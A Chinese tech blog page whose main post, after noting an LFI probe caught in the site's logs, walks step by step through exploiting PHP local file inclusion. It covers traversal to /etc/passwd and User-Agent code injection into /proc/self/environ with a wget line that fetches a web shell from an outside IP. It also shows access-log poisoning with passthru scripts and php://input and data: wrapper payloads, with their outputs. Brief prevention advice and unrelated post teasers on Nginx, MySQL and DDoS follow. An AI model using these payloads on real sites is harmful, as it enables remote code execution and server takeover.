当前位置: 聖騎天下 > 首页

捕获LFI攻击

捕获LFI攻击

刚刚从网站访问日志中捕获LFI(Local File Include,本地文件包含)攻击,攻击参数为../../../../../../../../../../../../..//proc/self/environ00,攻击截图如下:

捕获LFI攻击-Local File Include本地文件包含

捕获LFI攻击-Local File Include本地文件包含

怎样通过LFI(Local File Include,本地文件包含)攻击?

第一步:寻找本地包含漏洞

首先找到一个可能存在本地包含的文件,去check它

比如: www.website.com/view.php?page=contact.php

替换成 www.website.com/view.php?page=../

我们得到一个错误

Warning: include(../) [function.include]: failed to open stream: No such file or directory in /home/sirgod/public_html/website.com/view.php on line 1337

翻译下以上的错误信息如下:

警告:包括(../) [function.include]:未能打开流:没有那个文件或目录在/home/sirgod/public_html/website.com/view.php

说明机会很大,只是不存在文件而已

那么我们就针对服务器存在的文件做检查,比如linux里的/etc/passwd

提交

url:www.website.com/view.php?page=../../../etc/passwd

依旧是:

Warning: include(../) [function.include]: failed to open stream: No such file or directory in /home/sirgod/public_html/website.com/view.php on line 1337

所以我们一层层的加上../测试,直到显示为止

www.website.com/view.php?page=../../../../../etc/passwd

这个时候我们成功的包含了/etc/passwd

root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/spool/mail:/sbin/nologin news:x:9:13:news:/etc/news: uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin operator:x:11:0perator:/root:/sbin/nologin games:x:12:100:games:/usr/games:/sbin/nologin test:x:13:30:test:/var/test:/sbin/nologin ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin nobody:x:99:99:Nobody:/:/sbin/nologin

第二步:检查proc/self/environ是否可用访问

提交

url:www.website.com/view.php?page=../../../../../proc/self/environ

如果看到类似如下信息:

DOCUMENT_ROOT=/home/sirgod/public_html GATEWAY_INTERFACE=CGI/1.1 HTTP_ACCEPT=text/html, application/xml;q=0.9, application/xhtml xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1 HTTP_COOKIE=PHPSESSID=134cc7261b341231b9594844ac2ad7ac HTTP_HOST=www.website.com HTTP_REFERER=http://www.website.com/index.php?view=../../../../../../etc/passwd HTTP_USER_AGENT=Opera/9.80 (Windows NT 5.1; U; en) Presto/2.2.15 Version/10.00 PATH=/bin:/usr/bin QUERY_STRING=view=../../../../../../proc/self/environ REDIRECT_STATUS=200 REMOTE_ADDR=6x.1xx.4x.1xx REMOTE_PORT=35665 REQUEST_METHOD=GET REQUEST_URI=/index.php?view=../../../../../../proc/self/environ SCRIPT_FILENAME=/home/sirgod/public_html/index.php SCRIPT_NAME=/index.php SERVER_ADDR=1xx.1xx.1xx.6x SERVER_ADMIN=webmaster@website.com SERVER_NAME=www.website.com SERVER_PORT=80 SERVER_PROTOCOL=HTTP/1.0 SERVER_SIGNATURE=
Apache/1.3.37 (Unix) mod_ssl/2.2.11 OpenSSL/0.9.8i DAV/2 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 Server at www.website.com Port 80

说明是可以访问的,如果返回时个空白页,说明是无法访问的,也可能操作系统是FreeBSD

第三步: 注入恶意代码

我们怎么才能把我们的恶意代码注入到proc/self/environ呢?

我们可以注入我们的代码在用户代理HTTP头。

使用篡改数据用于Firefox的插件改变Firefox的User-Agent.Start篡改数据和请求URL:

www.website.com/view.php?page=../../../../../proc/self/environ

选择User-Agent 写代码如下:

<?system('wget http://61.164.38.24/rfi.txt -O hack.php');?>

或者

<?php copy('http://61.164.38.24/rfi.txt', 'hack.php') ?>

然后提交请求。

我们的命令将被执行(将下载http://hack-bay.com/Shells/gny.txt,并将其保存为它在shell.php

网站目录),我们的shell也就被创建,.如果不行,尝试使用exec(),因为系统可能被禁用的从php.ini网络服务器.

第四步:访问我们的shell


预防LFI攻击的方法

1.涉及到的危险函数(include(),require()和include_once(),require_once())

在这些函数调用时,尽量采用明确参数,如果使用变量做参数则变量必须明确初始化,防止变量被通过URL改变赋值。

2.禁用system等危险php函数。


PHP包含漏洞是怎样产生的?

php包含漏洞替代技术

php开发者们犯得一个基本的错误是把一个不正当的变量传递给系统函数,特别是include()和require()这两个函数。

这个常见的错误导致了众所周知的远程文件包含漏洞和本地文件包含漏洞。在过去的几年中,php已经开始试图通过缺省设置来消除或限制这种漏洞的所带来影响。

但即使是简单的本地文件包含,也会有新的技术去利用这些漏洞来导致远程命令的执行。

介绍php包含漏洞

文件包含漏洞的要点是要去找到一个方法来包含带有你的php恶意代码的文件。

<?php
include($_GET['content']);
?>

http://target/index.php?content=/etc/passwd

http://target/index.php?content=http://trojan/exec.php

这是第一个例子,它包含了本地文件/etc/pa sswd第二个例子包含了一个远程文件,这个远程包含文件在大多数情况下不能使用,因为php设置中的allow_url_fopen默认是off。

当然,通常有此漏洞的php代码会比上面的例子更有限制性,通常是通过在前面加上一个目录,防止远程文件包含,前面加一个文件扩展名来限制可以包含哪些类型的文件。

<?php
include("pages/".$_GET['content'].".php");
?>

http://target/index.php?content=../../../etc/passwd%00

…/的使用允许目录横向风格的操作,使你可以操作代码中预定目录以外的目录的文件。

如果php设置中open_basedir为on,它将会阻止你绕过过多的目录。

网站的开发者有可能也会使用一些函数来过滤掉来自用户提交的恶意数据,但并非总是如此。

空字节字符%00(\0)终止字符串,来切断在它之后提交的任何东西,即是当magic_quotes_gpc 默认为on的时候,也可以逃过。

在http://ush.it网站中有一篇名为《PHP文件系统的攻击媒介》提供了可能的方法来应付空字节字符。

php脚本安全也可能取决于像$_GLOBAL[]或$_SERVER[]等的变量,像最近被发现的phplist的漏洞(phplist是一款国外的Email程序),例子为

http://target/phplist/admin/?_SERVER[ConfigFile]=/etc/passwd

本地文件包含致远程代码执行

一次你找到一个本地包含漏洞,你需要找到一个方法去把你的恶意php代码插入一个文件中,大量的技术在过去的几年中出现。

有一种在服务日志中去注入php代码的技术比上面这些包含漏洞要出现的晚。

它是有可能的去把我们的代码插入http请求的头部,然后包含Apache的access_log日志文件(它可能会进行一些测试去找到access_log)。

考虑一下这个例子,在Mac OS X的Apache/PHP默认配置下,写一个脚本去发送一个请求可能是必须的,因为浏览器可能会对一些字符进行转义。

<?php
$a = fsockopen("localhost",80);
fwrite($a,"GET /<?php passthru(\$_GET['cmd']); ?> HTTP/1.1\r\n".
"Host: localhost\r\n".
"Connection: Close\r\n\r\n");
fclose($a);
?>

http://localhost/index.php?content=/var/log/httpd/access_log&cmd=id

另一种方法是包括了Apache/PHP进程的环境变量的/proc/ self/environ文件。

如果我们将恶意代码插入User-Agent 的头部,这些代码会出现在那个文件里,所以远程执行代码是可能的。

/proc/self/environ必须是可读的

<?php
$a = fsockopen("localhost",80);
fwrite($a,"GET /../../../../proc/self/environ HTTP/1.1\r\n".
"User-Agent: <?php passthru(\$_GET['cmd']); ?>\r\n".
"Host: localhost\r\n".
"Connection: Close\r\n\r\n");
fclose($a);
?>

Php封装包含漏洞

利用php的include函数的另一种方法是利用php封装(http://www.php.net/wrappers.php)。这个例子将使用PHP输入,从一个HTTP POST请求的原始数据并执行它:

漏洞代码:

<?php
include($_GET['content']);
?>

我们的请求:

<?php
$request = "<?php passthru('id;');?>";
$req = "POST /index.php?content=php://input
HTTP/1.1\r\n".
"Host: localhost\r\n".
"Content-type: text/html\r\n".
"Content-length: ".strlen($request)."\r\n".
"Connection: Close\r\n\r\n".
"$request \r\n\r\n";
$a = fsockopen("10.0.2.2",80);
fwrite($a,$req);
echo $req;
while (!feof($a)){echo fgets($a, 128);}
fclose($a);
?>

得到的结果:uid=33(www-data) gid=33(www-data) groups=33(www-data)

这个例子的前提是allow_url_include和allow_fopen_include两个选项设置为ON,在这种情况下,标准的远程文件包含是可能的。

这个方法的优点是它不依赖于外部储存文件服务器。

cr0w-at.blogspot.com提到另一种技术使用”数据:”封装:

index.php?content=data:,<?php system($_GET[c]);?>?&c=dir

或者base64编码过的:

index.php?content=data:;base64,\PD9waHAgc3lzdGVtKCRfR0VUW2NdKTsgPz4=&c=dir

总结

这些方法大多都不是新的,并没有表现出缺陷或在PHP语言本身的局限性。这些问题通常可以通过强大的输入验证,常识编码,和一些预防更严格的服务器配置。

epub转txt/pdf

epub转txt/pdf

ibooks里能很轻松阅读epub文件,可是想在电脑上看不太方便,从网上找了个工具,可以将epub格式转换为txt或者pdf格式 工具链接: http://www.convertfiles.com/convert/ebook/EPUB-to-TXT.html epub转txt/pdf-转换界面

«阅读全文

PHPCMS V9生成shtml

PHPCMS V9生成shtml

网站要使用Server Side Include(SSI)功能则必须要使用shtml网页扩展名,Apache需要加载模块支持,Nginx默认支持。在PHPCMS V9中默认不支持shtml的生成,需做些微改动才能做到。以下分别讲解根目录index.shtml和列表页、内容页shtml的生成方法。 网站根目录生成index.shtml 网站根目录生成index.shtml 到 .\phpcms\modules\content\classes\html.class.php 文件修改 查找相关代码修改如下: /** * 更新首页 */ public function index() { if($this->siteid==1) { $file = PHPCMS_PATH.'index.shtml'; //添加到发布点队列 $this->queue->add_queue('edit','/index.shtml',$this->siteid); } else { $site_dir = $this->sitelist[$this->siteid]['dirname']; $file = $this->html_root.'/'.$site_dir.'/index.shtml'; //...

«阅读全文

百度喜欢静态URL链接

百度喜欢静态URL链接

实践证明,百度喜欢静态URL链接,自从改了固定链接形式,百度蜘蛛拼命采拼命采….

«阅读全文

网站的几个衡量指标

网站的几个衡量指标

PV 即通常说的Page View(PV),用户每打开一个网站页面就被记录1次。用户多次打开同一页面,浏览量值累计。 UV 一天之内您网站的独立访客数(以Cookie为依据),一天内同一访客多次访问您网站只计算1个访客。 IP 一天之内您网站的独立访问ip数。 跳出率 只浏览了一个页面便离开了网站的访问次数占总的访问次数的百分比。 平均访问时长 访客在一次访问中,平均打开网站的时长。即每次访问中,打开第一个页面到关闭最后一个页面的平均值,打开一个页面时计算打开关闭的时间差。

«阅读全文

MySQL增加主键字段

MySQL增加主键字段

MySQL表增加主键字段。对于已经做好了表结构,并且已经存在数据的MySQL表仍可添加主键,例如: ALTER TABLE `tablename` ADD COLUMN `id` INT(11) UNSIGNED NOT NULL AUTO_INCREMENT FIRST, DROP PRIMARY KEY, ADD PRIMARY KEY(`id`);

«阅读全文

HR被放鸽子的部分原因分析

HR被放鸽子的部分原因分析

每年春节过后3个月,是换工作的黄金季节,这时候HR忙于招聘,求职者忙于寻找更高的台阶。但是目前海投越来越多,HR被放鸽子已是家常便饭,以下对HR被放鸽子的部分原因进行分析: 原因1:求职者确实临时有事,但不知如何告知HR。 反思:作为HR你是否留下随时可以找得到你的电话? 方法:联系方式建议最好留下直拨电话,而不是分机。这两者的差别很大的呀! 如果不介意也可向求职者提供你的手机号码。总之,有必要保证沟通的及时性 原因2:求职者同时接到几家公司的面试通知,比较之后做出取舍,你所在的公司是被淘汰的那一个。 反思:被淘汰,有可能是因为求职者尚不了解公司的优势和他的发展通道吗?(不同公司给付的薪资差异大不是此项讨论之列) 方法:HR可以在约见之前进行简单电话面试,向求职者介绍公司优势和发展前景。电话面试会让求...

«阅读全文

Firestats的Javascript/JS加载模式

Firestats的Javascript/JS加载模式

WordPress在使用WP Super Cache等静态化插件时,需要对文章计数类(如WP-PostViews)、访问统计类(如Firestats)的插件进行改造,这些插件默认是采用Wordpress的插件挂钩接口加载,需要PHP动态脚本的支持,但静态化以后,页面不再运行PHP脚本,Wordpress挂钩接口就不再起作用,此时这些插件就需要改造为Javascript/JS加载模式才能正常工作。以下主要讲解Firestats的Javascript加载改造。(Firestats目前的版本: 1.6.7 stable。) Firestats的配置文件 对,没错,Firestats除了后台的控制页面可以设置各种选项,它还拥有配置文件!默认安装插件之后,在插件第一层目录下存在 sample-conf.php这个文件,文件中有配置项及设置说明,其中的设置示例全部为注释状态,根据你的需要修改这些配置,然后将文件更名或复制为 conf.php,保存到同目录下。我...

«阅读全文

Nginx优化编译,去掉Debug编译/版本欺骗

Nginx优化编译,去掉Debug编译/版本欺骗

Nginx定制编译,去掉Debug编译/版本欺骗。 Nginx通过手工修改源码或制作补丁的方式,可以优化编译结果,提高运行效率,或达到欺骗黑客攻击者的目的,以下简单讲下修改编译安装方法: 源码修改定制-版本信息欺骗 修改 src/core/nginx.h文件,进行版本欺骗,例如 #define NGINX_VERSION "1.0.14" #define NGINX_VER "Nginx/" NGINX_VERSION 改为 #define NGINX_VERSION "2.2.14" #define NGINX_VER "Apache/" NGINX_VERSION 去掉Debug编译选项 Nginx默认配置和编译是带-g选项的,这样会使可执行文件变大,去掉-g就很小了,运行效率也会提高。修改auto/cc/gcc文件,将CFLAGS=”$CFLAGS -g”这一行注释掉,大约是倒数第8行,即改为: # debug #CFLAGS="$CFLAGS -g&quo...

«阅读全文

网站运营推广tips

网站运营推广tips

对于中大规模网站来说,邮件推广、生活服务、轻娱乐小游戏、桌面应用、浏览器插件、手机应用等模式仍是不可忽视的推广手段,同时也是回捞用户的重要方法。将网站融入到用户的生活、娱乐中,才能让用户时刻记得你的网站

«阅读全文

DDoS攻击常见的七种方式

DDoS攻击常见的七种方式

DDoS攻击是现在最常见的黑客攻击方式,下面简单介绍一下DDoS的七种攻击方式,让大家可以知己知彼,遇到攻击的时候可以针对性的选择防御方案。 Synflood: 该攻击以多个随机的源主机地址向目的主机发送SYN包,而在收到目的主机的SYN ACK后并不回应,这样,目的主机就为这些源主机建立了大量的连接队列,而且由于没有收到ACK一直维护着这些队列,造成了资源的大量消耗而不能向正常请求提供服务。 Smurf:该攻击向一个子网的广播地址发一个带有特定请求(如ICMP回应请求)的包,并且将源地址伪装成想要攻击的主机地址。子网上所有主机都回应广播包请求而向被攻击主机发包,使该主机受到攻击。 Land-based:攻击者将一个包的源地址和目的地址都设置为目标主机的地址,然后将该包通过IP欺骗的方式发送给被攻击主机,这种包可以造成被攻击主机因试...

«阅读全文

WordPress开发Hook挂钩、Action动作和Filter过滤器接口列表

WordPress开发Hook挂钩、Action动作和Filter过滤器接口列表

WordPress开发Hook挂钩、Action动作和Filter过滤器接口列表 WordPress 中有一种叫执行挂勾的机制,允许插件把一些功能“挂载”到 WordPress 当中。也就是说,在系统运行至某一个环节时,去调用插件内的一些函数。执行挂勾分为两种: 动作 (Action): 动作是 WordPress 运行到某些环节,或者在某些事件发生时,就会被执行的一种挂钩。任何的插件都可以通过动作接口来指示系统在遇到这些环节或者事件的时候,就执行指定的 PHP 函数。 过滤器 (Filter):过滤器的是 WordPress 用于修改即将要保存或者发送出去的数据的一种挂钩。任何的插件都可以通过过滤器接口来指示系统在遇到某些环节或者事件的时候,就执行指定的 PHP 函数去修改特定的数据。 某些时候动作或过滤器可以达到相同的效果。比如要修改文章的内容,可以把插件挂载到动作 publish...

«阅读全文

MySQL编译参数优化

MySQL编译参数优化

Linux下对Nginx编译安装的时候,如果去掉debug选项,生成的目标文件将会小很多,运行效率将会高很多。MySQL像Nginx及很多Linux软件一样,有这样的选项可以去掉或者优化,可以使编译的目标文件很小,提高运行效率和减少资源占用。以下对这些选项做个介绍,不足之处请大家多多补充,共同完善: static参数,静态链接 参数使用方法: --with-client-ldflags=-all-static --with-mysqld-ldflags=-all-static 静态链接提高13%性能 pgcc参数,Intel处理器优化标记 使用方法: 命令行设置环境变量 CFLAGS="-O3 -mnocona -mstack-align-double" CXX=gcc CXXFLAGS="-O3 -mnocona -mstack-align-double -felide-constructors -fno-exceptions -fno-rtti" 如果是Intel处理器,使用pgcc提高1%性能 64位平台的编译环境变量: CFLAGS=&...

«阅读全文

此心安处是吾乡

此心安处是吾乡

Email中收到的一篇文章,感觉不错,贴出来,如有版权问题请联络我,我会及时撤下。   此心安处是吾乡。 ——苏轼   我们总是将我们想象的东西附加到任何一件事物上, 比如房子,比如家。 究竟是有房子才有家,还是家就是房子? 我不知道。   有时候,会很羡慕吉普赛人的 生活, 处处为家,处处家; 但我们骨子里根深蒂固的居无定所就是流浪者的念头, 就像许多热爱旅行,却又总是放不下工作、生活而始终都未曾踏出旅途的半步的人一般, 我们这个时代的人,是矛盾的综合体, 一边在羡慕别人四处为家,租房为生的日子, 一边在着力买房,圈定生活。   不想评价哪一种生活更好, 只想说, 有着亲密家人的地方,就是家, 有着爱、信任、关心,融洽的关系的地方就是家。   不要让那一方土地禁锢住了你的灵魂, 要知道,...

«阅读全文

提高网站打开速度的七招

提高网站打开速度的七招

有的企业自备机房,网站放置于自己的机房,并且带宽充足;也有很多人或企业用虚拟主机来做网站,将网页保存在虚拟空间上。但是页面内容一多,网站打开的速度就会很慢,此时有人就想扩充带宽或者是换空间,与其寻求更好的空间,不如通过优化网页代码来取得更满意的速度。笔者总结了一些切实可行的方法,制作主页时,以下的方法可以让你的网页速度大大提高。 一、记得帮页面减肥 我们浏览网页实际上是将虚拟主机中的网页内容下载到本地硬盘,再用浏览器解释查看的。下载网页的快慢在显示速度上占了很大比重,所以,网页本身所占的空间越小,那么浏览速度就会越快。这就要求在做网页的时候遵循一切从简的原则,如:不要使用太大的Flash动画、图片等资源。干净、简洁的页面会给人一种思路明朗的感觉。 二、如没必要,尽量使用静态HTML页面 众所...

«阅读全文

手机版网页设计注意事项

手机版网页设计注意事项

用手机上网时,有些网站会无法正常显示,因为这些网页是设计在电脑上看的,如果网页开发者没有考虑到手机的软硬件特性以及人们的阅读习惯,就无法设计出手机上方便阅读的网页。说的简单,但是要把既有网页砍掉重练、再移植到手机上是一项大工程,笔者归纳四个方面给网页开发人员参考。 手机版网页设计注意事项-给电脑看的网页在手机上的表现 ▲供手机浏览的网页可不只是把版面缩小就好那么简单,浏览器版本跟CSS语法也有大不同。 一、与计算机共享同一套网页 这里的与计算机共享网页,指的是计算机用的网页完全不经修改、就直接给手机浏览。前提是网站本身的元素要够简单、版面不能太复杂。 二、制作手机专用网页 这个做法在90年代非常盛行,当时电信业者的GPRS/WAP广告打得正火热,手机能浏览的网站都是WAP网站,也就是用WML编写的手机网,...

«阅读全文

Nginx访问域名或目录无斜杠的解决方法续

Nginx访问域名或目录无斜杠的解决方法续

在Nginx访问域名或目录链接后无/(反斜杠)无法访问的解决方法中说到,因为域名或目录后无斜杠,导致用户无法打开网页的故障,当时的解决方法是在nginx.conf里修改,让nginx后缀中的”/”斜杠自动补齐: if (-d $request_filename) { rewrite ^/(.*)([^/])$ http://$host/$1$2/ permanent; } 现在要介绍个更好的方法,在nginx.conf直接设置: optimize_server_names off;#优化服务器名称:关 (默认开启) server_name_in_redirect off;#服务器名称重定向:关(默认开启) 官方参数说明: optimize_server_names (优化服务器名称) syntax: optimize_server_names [ on|off ] default: optimize_server_names on context: http, server Directive activates or deactivates optimization of host name checks for name-based virtual servers...

«阅读全文

statusnet的Nginx修正

statusnet的Nginx修正

最近需要用statusnet做点东西,但是发现statusnet的默认参数传递方式在Nginx下无法正常运行,只能正常工作于Apache下,主要的问题在形如 index.php/main/login 这样的url解析上,Nginx中默认对此url解析为 index.php/main/login 目录或文件,会报404错误,我们希望的结果是解析为:index.php?p=main/login,搜索+摸索之后,总结如下两个方法,推荐方法2。 方法一:按照网传方法修改Nginx的Rewrite规则,然后修正lib/router.php文件 网传Nginx Rwrite方法: if (!-e $request_filename) { rewrite ^(.*)$ /index.php?p=$1 last; break; } 按照此方法修改后,形如 http://www.opensoce.com/index.php/main/login 仍无法正常解析,分析发现,rewrite之后的url形如: index.php?p=http://www.opensoce.com/index.php/main/log...

«阅读全文

Nginx的Rewrite规则

Nginx的Rewrite规则

Nginx的rewrite格式是: rewrite regex replacement flag 其中flag标记有四种格式,可以放在server, location 和 if 模块中: last – 相当于Apache中的L break – 中止Rewirte,不在继续匹配 redirect – 返回临时重定向的HTTP状态302,相当于Apache中的R permanent – 返回永久重定向的HTTP状态301,相当于Apache中的R=301 匹配判断 ~ 为区分大小写匹配; !~为区分大小写不匹配 ~* 为不区分大小写匹配;!~为不区分大小写不匹配 例如下面设定nginx在用户使用ie的使用重定向到/nginx-ie目录下: if ($http_user_agent ~ MSIE) { rewrite ^(.*)$ /msie/$1 break; } Nginx Rewrite规则相关指令 Nginx Rewrite规则相关指令有if、rewrite、set、return、break等,其中rewrite是最关键的指令。一个简单的Nginx Rewrite规则语法如下: rewrite...

«阅读全文

Apache RewriteCond ReWrite规则

Apache RewriteCond ReWrite规则

Apache通过RewriteCond设置ReWrite规则,可以在httpd.conf配置文件中直接设置rewrite规则,也可以根据需要在网站的.htaccess文件中设置rewrite规则。 RewriteCond 重写规则执行条件 语法: RewriteCond TestString CondPattern 生效域: server config(服务器全局), virtual host(虚拟主机), directory(目录), .htaccess 上面的 TestString, 可提供反向引用. 引用模式为: %N 其中N为(0 < = N

«阅读全文